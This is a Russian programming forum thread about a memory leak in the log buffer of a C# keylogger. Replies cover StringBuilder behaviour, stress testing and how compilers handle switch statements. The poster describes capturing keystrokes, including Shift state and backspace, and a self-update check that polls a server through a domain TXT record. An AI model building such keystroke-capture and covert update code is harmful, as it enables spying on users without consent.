+7
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
class Buffer
{
StringBuilder buffer = new StringBuilder("", 55);
public void append(String symbol)
{
if (buffer.Length > 50)
writeToLog();
buffer.Append(symbol);
}
public void removeLast()
{
if (buffer.Length == 0)
return;
buffer.Length--;
}
private void writeToLog()
{
keylogFile.write(buffer.ToString());
buffer.Clear();
GC.Collect();
}
}
Выдавил класс буфера для записи в лог с кейлоггера , так как нужно учитывать [backspace].
Туда передаются строки по 1 символу , так вот если убрать в конце GC.Collect(); начинает течь память ,
по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .
Не могу понять, чем это может быть вызвано.С GC.Collect(); все отлично .
Запостил:
partizanes,
25 Июля 2016
так точно можно? не знал...
http://stackoverflow.com/a/17215160
http://referencesource.microsoft.com/#mscorlib/system/text/stringbuilder.cs,456
почему при изменении проперти длины они меняют содержимое?
мне кажется, что проблема кроется при Array.Copy. мне кажется там массивы утекают...
это однозначно ошибка пользователя. цитируя жабщиков с моей прошлой работы, потому что мемори лика в программе быть не может, потому что гарбэдж коллекшн.
ЗЫ как не шарпщик, наивный код ревью: StringBuilder держит референсы на .Append()ed строки? попробуй не стрелять по воробьям из пушки, и поменяй StringBuilder на какую простую коллекцию/простую строку.
правда как я понял из статьи на dotnetpearls по поводу использования памяти в dotnnetpearls, у него внутри постоянно идут копирования массивов, что снижает производительность, и так же пораждает утечки, если вовремя не чистить память. короче, советую не использовать buffer.Length--;
> C#
Здравствуйте! Вы запустили вирус xXxDesTroyeRxXx! Для его работы, пожалуйста, установите .Net Framework не ниже 4.5 версии. В противном случае, запуск вируса будет невозможен. Спасибо за понимание!
Потому Ñ Ð²Ñе и вÑегда пишу на маÑме, например веб Ñайт или базу данных
http://dropmefiles.com/imxCW
как выше написали уже, можно записывать в файл половину буфера и удалять тока половину.
{
var answer = Node.sendPost("98:" + version);
if (answer.Contains("ok"))
{
Debug.WriteLine("Version check ok!");
}
else if (answer.Contains("http"))
{
на сервере php контролер :D
В студии после сборки релиза с сменой версии , запускается батник , который выгружает все изменения на сервер. :D
А урлы обновления хранятся в TXT записи домена ,клиент чекает версию постоянно :D
Хех, когда-то все проги, любящие попроверять версию, моментально палились по треску в колонках (gprs, да), вычислялись по логу фаервола и выпиливались к хуям... А сейчас столько софта в сеть лезет, что и не заметишь.
Попробуй стресс-тест ему устроить. Если перестанет "течь" и остановится на какой-то границе, то оно так и есть.
Искал в куче в отладчике, но скила не хватило .
Надо именно стресс-тест, прям в цикле хуярить в буфер непрерывно. Руками ты такого не добьёшься.
При автоматическом тестировании выглядит так:
http://dropmefiles.com/OOzhG
код теста
https://gist.github.com/anonymous/2679788d68b57cb45121c709f7172a12
Не пойму ,почему сегодня визуал студия дебаг запускает в отдельном процессе sandbox.
Вчера когда тестил , оно запускалось ,как есть и утечки были ,более 400кб.
Или сам туплю или лыжи не едут.
Диспетчер http://dropmefiles.com/YBeCX
Студия http://dropmefiles.com/MqrGh
В конце видео перескочило на другой процесс.
2. Если добавляем символы, то зачем использовать стринги.
Как то так. Специи добавить по вкусу.
напримел, написал там обзац, потом зажал backspace, и стер все это, а ты запишешь, что он удалил один символ в конце.
←→↑↓ [F1] , для определения некоторых кнопок используется вот такая конструкция
https://gist.github.com/anonymous/3b3242e42e45243b32fbddb1ed032e71
для остальных VKCodeToUnicode . Что то парсится сложнее например [CTRL+C][CTRL+V].
у кнопок есть состояние
private const int KEY_PRESSED = 0x8000;
определение нажатого шифта
if (IsPressed(VirtualKeyStates.VK_SHIFT))
При зажатии кнопки она будет постоянно слать сигнал и в целом будет учитывать .Как я уже писал выше , функция записи буфера дорабатывается и планируется , что будет записывать и удалять половину буфера.
Суть увидеть набранный текст , а вообще задача учебная и кейлогер это всего лишь один из модулей .
switch?
EDIT: или не хочется break писать?
В жавке свич вроде бы за O(1)
Конечно за O(1)
Размер программы ведь O(1)
Чет нихуя. Кто поправит?
Ну и смотреть выхлоп компилятора без хотя бы О2 — бессмысленно
https://godbolt.org/g/f6xAod
Получилась хуйня, но получилась она логично — функция ничего не возвращает, побочных эффектов не содержит, поэтому тело функции не_нужно. Заставим её возвращать значение:
https://godbolt.org/g/EmyJnV
Получилась опять хуйня, потому что значение i не определено. Можно поиграть с компиляторами. Старый ГЦЦ вообще НЁХ выдаёт. Сделает i параметром функции:
https://godbolt.org/g/eYJhJm
Нет двоичного поиска. видимо потому, что на 4 элементах он нахуй не нужен. Добавим ещё 4:
https://godbolt.org/g/tdSQ5r
Теперь мы видим сочетание двоичного поиска (первый выбор) и линейного. Судя по всему, ГЦЦ прекращает двоичный поиск, когда элементов мало.
Можно на крайний случай делать всё наследованием и виртуальными функциями. А для ПИРФОМАНСА, нужно делать царский анролл в компайлтайме — шаблоны, специализированные на значениях свича/if. Или рекурсивно раскрывающиеся для циклов. Поэтому С++ рулит — такой хуйни в других языках нет.
Ебучий Visitor ничем не лучше свитча, инфа 100%
map<K, V>, или как там его у вас в шарпе зовут.
Школьник вернулся, гы.
Спешу ответить на твой вопрос. map в жабе - ынтерфейс, собственно dictionary ака idictionary - тоже, так что пошел нахуй
> dictionary ака idictionary
https://msdn.microsoft.com/ru-ru/library/xfhwa508(v=vs.110).aspx
https://habrahabr.ru/post/172689/